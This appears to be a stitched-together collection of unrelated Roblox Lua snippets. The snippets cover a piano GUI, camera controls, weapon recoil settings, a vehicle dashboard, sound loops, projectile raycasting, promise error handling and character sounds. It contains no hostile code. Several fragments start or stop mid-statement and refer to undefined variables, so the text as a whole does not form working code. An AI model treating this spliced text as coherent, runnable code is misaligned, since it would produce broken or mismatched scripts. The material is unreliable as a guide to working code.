PianoGui.Keys[note] if IsBlack(note) then keyGui.BackgroundColor3 = Color3.new(0, 0, 0) else keyGui.BackgroundColor3 = Color3.new(1, 1, 1) end end end function PianoKeyPressed(Object, note) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then PlayNoteClient(note) end end function ExitButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then Deactivate() end end function SheetsButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then ToggleSheets() end end function ToggleCaps() ShiftLock = not ShiftLock if ShiftLock then PianoGui.CapsButton.BackgroundColor3 = Color3.new(1, 170/255, 0) PianoGui.CapsButton.BorderColor3 = Color3.new(154/255, 103/255, 0) PianoGui.CapsButton.TextColor3 = Color3.new(1, 1, 1) else PianoGui.CapsButton.BackgroundColor3 = Color3.new(140/255, 140/255, 140/255) PianoGui.CapsButton.BorderColor3 = Color3.new(68/255, 68/255, 68/255) PianoGui.CapsButton.TextColor3 = Color3.new(180/255, 180/255, 180/255) end end function CapsButtonPressed(Object) local type = Object.UserInputType.Name if type == "MouseButton1" or type == "Touch" then ToggleCaps() end end
--[[ The Module ]]
-- local BaseCamera = require(script.Parent:WaitForChild("BaseCamera")) local OrbitalCamera = setmetatable({}, BaseCamera) OrbitalCamera.__index = OrbitalCamera function OrbitalCamera.new() local self = setmetatable(BaseCamera.new(), OrbitalCamera) self.lastUpdate = tick() -- OrbitalCamera-specific members self.changedSignalConnections = {} self.refAzimuthRad = nil self.curAzimuthRad = nil self.minAzimuthAbsoluteRad = nil self.maxAzimuthAbsoluteRad = nil self.useAzimuthLimits = nil self.curElevationRad = nil self.minElevationRad = nil self.maxElevationRad = nil self.curDistance = nil self.minDistance = nil self.maxDistance = nil -- Gamepad self.r3ButtonDown = false self.l3ButtonDown = false self.gamepadDollySpeedMultiplier = 1 self.lastUserPanCamera = tick() self.externalProperties = {} self.externalProperties["InitialDistance"] = 25 self.externalProperties["MinDistance"] = 10 self.externalProperties["MaxDistance"] = 100 self.externalProperties["InitialElevation"] = 35 self.externalProperties["MinElevation"] = 35 self.externalProperties["MaxElevation"] = 35 self.externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally self.externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above self.externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above self.externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default self:LoadNumberValueParameters() return self end function OrbitalCamera:LoadOrCreateNumberValueParameter(name, valueType, updateFunction) local valueObj = script:FindFirstChild(name) if valueObj and valueObj:isA(valueType) then -- Value object exists and is the correct type, use its value self.externalProperties[name] = valueObj.Value elseif self.externalProperties[name] ~= nil then -- Create missing (or replace incorrectly-typed) valueObject with default value valueObj = Instance.new(valueType) valueObj.Name = name valueObj.Parent = script valueObj.Value = self.externalProperties[name] else print("externalProperties table has no entry for ",name) return end if updateFunction then if self.changedSignalConnections[name] then self.changedSignalConnections[name]:Disconnect() end self.changedSignalConnections[name] = valueObj.Changed:Connect(function(newValue) self.externalProperties[name] = newValue updateFunction(self) end) end end function OrbitalCamera:SetAndBoundsCheckAzimuthValues() self.minAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) - math.abs(math.rad(self.externalProperties["CWAzimuthTravel"])) self.maxAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) + math.abs(math.rad(self.externalProperties["CCWAzimuthTravel"])) self.useAzimuthLimits = self.externalProperties["UseAzimuthLimits"] if self.useAzimuthLimits then self.curAzimuthRad = math.max(self.curAzimuthRad, self.minAzimuthAbsoluteRad) self.curAzimuthRad = math.min(self.curAzimuthRad, self.maxAzimuthAbsoluteRad) end end function OrbitalCamera:SetAndBoundsCheckElevationValues() -- These degree values are the direct user input values. It is deliberate that they are -- ranged checked only against the extremes, and not against each other. Any time one -- is changed, both of the internal values in radians are recalculated. This allows for -- A developer to change the values in any order and for the end results to be that the -- internal values adjust to match intent as best as possible. local minElevationDeg = math.max(self.externalProperties["MinElevation"], MIN_ALLOWED_ELEVATION_DEG) local maxElevationDeg = math.min(self.externalProperties["MaxElevation"], MAX_ALLOWED_ELEVATION_DEG) -- Set internal values in radians self.minElevationRad = math.rad(math.min(minElevationDeg, maxElevationDeg)) self.maxElevationRad = math.rad(math.max(minElevationDeg, maxElevationDeg)) self.curElevationRad = math.max(self.curElevationRad, self.minElevationRad) self.curElevationRad = math.min(self.curElevationRad, self.maxElevationRad) end function OrbitalCamera:SetAndBoundsCheckDistanceValues() self.minDistance = self.externalProperties["MinDistance"] self.maxDistance = self.externalProperties["MaxDistance"] self.curDistance = math.max(self.curDistance, self.minDistance) self.curDistance = math.min(self.curDistance, self.maxDistance) end
--Anything that can cause this to yeild will prevent teleport data being recieved.
local RenderStepped = RunService.RenderStepped local StartShutdown = game.ReplicatedStorage:WaitForChild("StartShutdown") local CreateTeleportScreen = require(script:WaitForChild("TeleportScreenCreator"))
--Предмет поместить в Workspace, если предмет в Model или др. то переместить --Сам этот скрипт переместить в предмет
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {35,45} --- Vertical Recoil ,HRecoil = {32,35} --- Horizontal Recoil ,AimRecover = .35 ---- Between 0 & 1 ,RecoilPunch = .6 ,VPunchBase = 30.75 --- Vertical Punch ,HPunchBase = 22.25 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.3 ,MinRecoilPower = 1 ,MaxRecoilPower = 1 ,RecoilPowerStepAmount = 1 ,MinSpread = 35 --- Min bullet spread value | Studs ,MaxSpread = 65 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 15 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 2 --- Max sway value based on player stamina | Studs
--[[ A component that establishes a connection to a Roblox event when it is rendered. ]]
local GridRoot = script.Parent local UIBloxRoot = GridRoot.Parent local Roact = require(UIBloxRoot.Parent.Roact) local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection") function ExternalEventConnection:init() self.connection = nil end
----- Variables -----
local hotWater = 1 local coldWater = 1 local waterTemp = nil local p = script.Parent
--[[ Scales a ParticleEmitter. MAY not support all properties. Supports tuple of particles. Functions.ScaleParticle( particles, <-- |REQ| ParticleEmitter that will be scaled scale, <-- |REQ| Scale (int) ) --]]
return function(_t, scale) --- Allow for array of particles if type(_t) ~= "table" then _t = {_t} end --- Iterate through particles for _, p in ipairs(_t) do --- Size local newKeypoints = {} for _, keypoint in ipairs(p.Size.Keypoints) do table.insert(newKeypoints, NumberSequenceKeypoint.new( keypoint.Time, keypoint.Value * scale, keypoint.Envelope * scale )) end p.Size = NumberSequence.new(newKeypoints) --- Drag p.Drag = p.Drag * scale --- Velocity p.VelocityInheritance = p.VelocityInheritance * scale --- Speed p.Speed = NumberRange.new( p.Speed.Min * scale, p.Speed.Max * scale ) --- Acceleration p.Acceleration = Vector3.new( p.Acceleration.X * scale, p.Acceleration.Y * scale, p.Acceleration.Z * scale ) end end
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") script.Parent:WaitForChild("Needle") local player=game:GetService("Players").LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000) script.Parent.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) end) function PBrake() if script.Parent.Parent.Parent.Values.PBrake.Value then script.Parent.PBrake.ImageColor3 = Color3.fromRGB(222, 62, 62) else script.Parent.PBrake.ImageColor3 = Color3.fromRGB(241, 241, 241) end end script.Parent.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Headlight() if car.Body.Headlight.on.Value then script.Parent.HeadLight.ImageColor3 = Color3.fromRGB(55, 255, 52) else script.Parent.HeadLight.ImageColor3 = Color3.fromRGB(241, 241, 241) end end car.Body.Headlight.on.Changed:connect(Headlight) wait(.1)
-- In radian the maximum accuracy penalty
local MaxSpread = 0.3
--Visiblity
uis = game:GetService("UserInputService") ismobile = uis.TouchEnabled button.Visible = ismobile
--12--
print 'Playing Sound 12' music.SoundId = song12 music:play() wait(130)
--Aux Card, 8 Step
script.Parent.Parent.Amp.Value = true script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 795/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 640/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 720/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 50 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 720/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 794/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 25 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850 script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850 script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10 for i = 1, 70 do script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600 wait(0.030) end script.Parent.Parent.Amp.Value = false
-- Simulate a raycast by one tick.
local function SimulateCast(cast: ActiveCast, delta: number, expectingShortCall: boolean) assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) PrintDebug("Casting for frame.") local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories] local origin = latestTrajectory.Origin local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local initialVelocity = latestTrajectory.InitialVelocity local acceleration = latestTrajectory.Acceleration local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime cast.StateInfo.TotalRuntime += delta -- Recalculate this. totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local currentTarget = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local segmentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local totalDisplacement = currentTarget - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now. local rayDir = totalDisplacement.Unit * segmentVelocity.Magnitude * delta local targetWorldRoot = cast.RayInfo.WorldRoot local function castFunction(lastPoint, rayDir, params) -- Main Cast local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params) local needRecast = false if resultOfCast then local hitInstance = resultOfCast.Instance if hitInstance.Parent:IsA("Accoutrement") then local newIgnoreTable = {hitInstance} for i,v in pairs(params.FilterDescendantsInstances) do table.insert(newIgnoreTable, v) end cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable resultOfCast = nil needRecast = true end if hitInstance.CanCollide == false and not FindCharacterAncestor(hitInstance) then local newIgnoreTable = {hitInstance} for i,v in pairs(params.FilterDescendantsInstances) do table.insert(newIgnoreTable, v) end cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable resultOfCast = nil needRecast = true end if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 and not FindCharacterAncestor(hitInstance) then local newIgnoreTable = {hitInstance} for i,v in pairs(params.FilterDescendantsInstances) do table.insert(newIgnoreTable, v) end cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable resultOfCast = nil needRecast = true end end if needRecast == true then return castFunction(lastPoint, rayDir, cast.RayInfo.Parameters) end return resultOfCast end local resultOfCast = castFunction(lastPoint, rayDir, cast.RayInfo.Parameters) local point = currentTarget local part: Instance? = nil local material = Enum.Material.Air local normal = Vector3.new() if (resultOfCast ~= nil) then point = resultOfCast.Position part = resultOfCast.Instance material = resultOfCast.Material normal = resultOfCast.Normal end local rayDisplacement = (point - lastPoint).Magnitude -- For clarity -- totalDisplacement is how far the ray would have traveled if it hit nothing, -- and rayDisplacement is how far the ray really traveled (which will be identical to totalDisplacement if it did indeed hit nothing) SendLengthChanged(cast, lastPoint, rayDir.Unit, rayDisplacement, segmentVelocity, cast.RayInfo.CosmeticBulletObject) cast.StateInfo.DistanceCovered += rayDisplacement local rayVisualization: ConeHandleAdornment? = nil if (delta > 0) then rayVisualization = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement) end -- HIT DETECTED. Handle all that garbage, and also handle behaviors 1 and 2 (default behavior, go high res when hit) if applicable. -- CAST BEHAVIOR 2 IS HANDLED IN THE CODE THAT CALLS THIS FUNCTION. if part and part ~= cast.RayInfo.CosmeticBulletObject then local start = tick() PrintDebug("Hit something, testing now.") -- SANITY CHECK: Don't allow the user to yield or run otherwise extensive code that takes longer than one frame/heartbeat to execute. if (cast.RayInfo.CanPierceCallback ~= nil) then if expectingShortCall == false then if (cast.StateInfo.IsActivelySimulatingPierce) then cast:Terminate() error("ERROR: The latest call to CanPierceCallback took too long to complete! This cast is going to suffer desyncs which WILL cause unexpected behavior and errors. Please fix your performance problems, or remove statements that yield (e.g. wait() calls)") -- Use error. This should absolutely abort the cast. end end -- expectingShortCall is used to determine if we are doing a forced resolution increase, in which case this will be called several times in a single frame, which throws this error. cast.StateInfo.IsActivelySimulatingPierce = true end ------------------------------ if cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then PrintDebug("Piercing function is nil or it returned FALSE to not pierce this hit.") cast.StateInfo.IsActivelySimulatingPierce = false if (cast.StateInfo.HighFidelityBehavior == 2 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize ~= 0) then cast.StateInfo.CancelHighResCast = false -- Reset this here. if cast.StateInfo.IsActivelyResimulating then cast:Terminate() error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.") end cast.StateInfo.IsActivelyResimulating = true -- This is a physics based cast and it needs to be recalculated. PrintDebug("Hit was registered, but recalculation is on for physics based casts. Recalculating to verify a real hit...") -- Split this ray segment into smaller segments of a given size. -- In 99% of cases, it won't divide evently (e.g. I have a distance of 1.25 and I want to divide into 0.1 -- that won't work) -- To fix this, the segments need to be stretched slightly to fill the space (rather than having a single shorter segment at the end) local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments local realSegmentLength = rayDisplacement / numSegmentsReal -- this spits out 0.51, which isn't exact to the defined 0.5, but it's close -- Now the real hard part is converting this to time. local timeIncrement = delta / numSegmentsReal for segmentIndex = 1, numSegmentsReal do if cast.StateInfo.CancelHighResCast then cast.StateInfo.CancelHighResCast = false break end local subPosition = GetPositionAtTime(lastDelta + (timeIncrement * segmentIndex), origin, initialVelocity, acceleration) local subVelocity = GetVelocityAtTime(lastDelta + (timeIncrement * segmentIndex), initialVelocity, acceleration) local subRayDir = subVelocity * delta local function castFunction(subPosition, subRayDir, params) local subResult = targetWorldRoot:Raycast(subPosition, subRayDir, params) if subResult then local hitInstance = subResult.Instance if hitInstance.Parent:IsA("Accoutrement") then table.insert(params.FilterDescendantsInstances, hitInstance) subResult = nil end if hitInstance.CanCollide == false then table.insert(params.FilterDescendantsInstances, hitInstance) subResult = nil end if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then table.insert(params.FilterDescendantsInstances, hitInstance) subResult = nil end end return subResult end local subResult = castFunction(subPosition, subRayDir, cast.RayInfo.Parameters) local subDisplacement = (subPosition - (subPosition + subVelocity)).Magnitude if (subResult ~= nil) then local subDisplacement = (subPosition - subResult.Position).Magnitude local dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement) if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end if cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) == false) then -- Still hit even at high res cast.StateInfo.IsActivelyResimulating = false SendRayHit(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) cast:Terminate() local vis = DbgVisualizeHit(CFrame.new(point), false) if (vis ~= nil) then vis.Color3 = Color3.new(0.0588235, 0.87451, 1) end return else -- Recalculating hit something pierceable instead. SendRayPierced(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true. local vis = DbgVisualizeHit(CFrame.new(point), true) if (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end end else local dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement) if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end end end -- If the script makes it here, then it wasn't a real hit (higher resolution revealed that the low-res hit was faulty) -- Just let it keep going. cast.StateInfo.IsActivelyResimulating = false elseif (cast.StateInfo.HighFidelityBehavior ~= 1 and cast.StateInfo.HighFidelityBehavior ~= 3) then cast:Terminate() error("Invalid value " .. (cast.StateInfo.HighFidelityBehavior) .. " for HighFidelityBehavior.") else -- This is not a physics cast, or recalculation is off. PrintDebug("Hit was successful. Terminating.") SendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) cast:Terminate() DbgVisualizeHit(CFrame.new(point), false) return end else PrintDebug("Piercing function returned TRUE to pierce this part.") if rayVisualization ~= nil then rayVisualization.Color3 = Color3.new(0.4, 0.05, 0.05) -- Turn it red to signify that the cast was scrapped. end DbgVisualizeHit(CFrame.new(point), true) local params = cast.RayInfo.Parameters local alteredParts = {} local currentPierceTestCount = 0 local originalFilter = params.FilterDescendantsInstances local brokeFromSolidObject = false while true do -- So now what I need to do is redo this entire cast, just with the new filter list -- Catch case: Is it terrain? if resultOfCast.Instance:IsA("Terrain") then if material == Enum.Material.Water then -- Special case: Pierced on water? cast:Terminate() error("Do not add Water as a piercable material. If you need to pierce water, set cast.RayInfo.Parameters.IgnoreWater = true instead", 0) end warn("WARNING: The pierce callback for this cast returned TRUE on Terrain! This can cause severely adverse effects.") end if params.FilterType == Enum.RaycastFilterType.Blacklist then -- blacklist -- DO NOT DIRECTLY TABLE.INSERT ON THE PROPERTY local filter = params.FilterDescendantsInstances table.insert(filter, resultOfCast.Instance) table.insert(alteredParts, resultOfCast.Instance) params.FilterDescendantsInstances = filter else -- whitelist -- method implemeneted by custom table system -- DO NOT DIRECTLY TABLE.REMOVEOBJECT ON THE PROPERTY local filter = params.FilterDescendantsInstances table.removeObject(filter, resultOfCast.Instance) table.insert(alteredParts, resultOfCast.Instance) params.FilterDescendantsInstances = filter end SendRayPierced(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) -- List has been updated, so let's cast again. local function castFunction(lastPoint, rayDir, params) local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params) if resultOfCast then local hitInstance = resultOfCast.Instance if hitInstance.Parent:IsA("Accoutrement") then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end if hitInstance.CanCollide == false then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end end return resultOfCast end resultOfCast = castFunction(lastPoint, rayDir, params) -- No hit? No simulation. Break. if resultOfCast == nil then break end if currentPierceTestCount >= MAX_PIERCE_TEST_COUNT then warn("WARNING: Exceeded maximum pierce test budget for a single ray segment (attempted to test the same segment " .. MAX_PIERCE_TEST_COUNT .. " times!)") break end currentPierceTestCount = currentPierceTestCount + 1; if cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false then brokeFromSolidObject = true break end end -- Restore the filter to its default state. cast.RayInfo.Parameters.FilterDescendantsInstances = originalFilter cast.StateInfo.IsActivelySimulatingPierce = false if brokeFromSolidObject then -- We actually hit something while testing. PrintDebug("Broke because the ray hit something solid (" .. tostring(resultOfCast.Instance) .. ") while testing for a pierce. Terminating the cast.") SendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) cast:Terminate() DbgVisualizeHit(CFrame.new(resultOfCast.Position), false) return end -- And exit the function here too. end end if (cast.StateInfo.DistanceCovered >= cast.RayInfo.MaxDistance) then -- SendRayHit(cast, nil, segmentVelocity, cast.RayInfo.CosmeticBulletObject) cast:Terminate() DbgVisualizeHit(CFrame.new(currentTarget), false) end end
--[[ Returns first value (success), and packs all following values. ]]
local function packResult(success, ...) return success, select("#", ...), { ... } end local function makeErrorHandler(traceback) assert(traceback ~= nil) return function(err) -- If the error object is already a table, forward it directly. -- Should we extend the error here and add our own trace? if type(err) == "table" then return err end return Error.new({ error = err, kind = Error.Kind.ExecutionError, trace = debug.traceback(tostring(err), 2), context = "Promise created at:\n\n" .. traceback, }) end end
-- Private Functions
local function defaultButton(index, option) local button = LIST_BUTTON:Clone() button.Name = option .. "_button" button.Label.Text = option return button end
--- Skill
local UIS = game:GetService("UserInputService") local plr = game.Players.LocalPlayer local Mouse = plr:GetMouse() local Debounce = true Player = game.Players.LocalPlayer UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = false Tool.Active.Value = "LightBarrage" Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01) Track1:Play() wait(0.3) script.Fire:FireServer(plr) local hum = Player.Character.Humanoid for i = 1,30 do wait() hum.CameraOffset = Vector3.new( math.random(-1,1), math.random(-1,1), math.random(-1,1) ) end hum.CameraOffset = Vector3.new(0,0,0) Tool.Active.Value = "None" wait(2) Debounce = true end end)
--GreenEgg--
Event.Hitbox.Touched:Connect(function(hit) if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired2 then if game.ReplicatedStorage.ItemSwitching.Value == true then hit.Parent:Destroy() end Event.GreenGear.Transparency = 0 Event.Glass.Insert:Play() Event.LocksLeft.Value = Event.LocksLeft.Value - 1 script.Disabled = true end end) Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr) if plr.Backpack:FindFirstChild(ToolRequired2) then if game.ReplicatedStorage.ItemSwitching.Value == true then plr.Backpack:FindFirstChild(ToolRequired2):Destroy() end Event.GreenGear.Transparency = 0 Event.Glass.Insert:Play() Event.LocksLeft.Value = Event.LocksLeft.Value - 1 script.Disabled = true end end)
-- functions
function onDied() stopLoopedSounds() sDied:Play() end local fallCount = 0 local fallSpeed = 0 function onStateFall(state, sound) fallCount = fallCount + 1 if state then sound.Volume = 0 sound:Play() Spawn( function() local t = 0 local thisFall = fallCount while t < 1.5 and fallCount == thisFall do local vol = math.max(t - 0.3 , 0) sound.Volume = vol wait(0.1) t = t + 0.1 end end) else sound:Stop() end fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y)) end function onStateNoStop(state, sound) if state then sound:Play() end end function onRunning(speed) sClimbing:Stop() sSwimming:Stop() if (prevState == "FreeFall" and fallSpeed > 0.1) then local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110)) sLanding.Volume = vol sLanding:Play() fallSpeed = 0 end if speed>0.5 then sRunning:Play() sRunning.Pitch = 1.6 else sRunning:Stop() end prevState = "Run" end function onSwimming(speed) if (prevState ~= "Swim" and speed > 0.1) then local volume = math.min(1.0, speed / 350) sSplash.Volume = volume sSplash:Play() prevState = "Swim" end 